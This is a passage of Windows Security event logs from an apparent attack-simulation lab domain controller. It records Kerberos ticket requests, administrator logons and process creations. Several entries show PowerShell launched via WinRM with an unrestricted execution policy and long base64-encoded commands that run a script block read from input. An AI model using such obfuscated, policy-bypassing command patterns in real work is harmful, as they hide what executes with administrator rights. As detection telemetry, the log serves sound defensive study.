-Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253022 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b8 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253021 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253020 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18411D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253019 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18411D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253018 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253017 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253016 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253015 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1294 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf2c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253014 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xac4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253013 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183EDB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253012 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183EDB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253011 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253010 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253009 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253008 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1094 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory 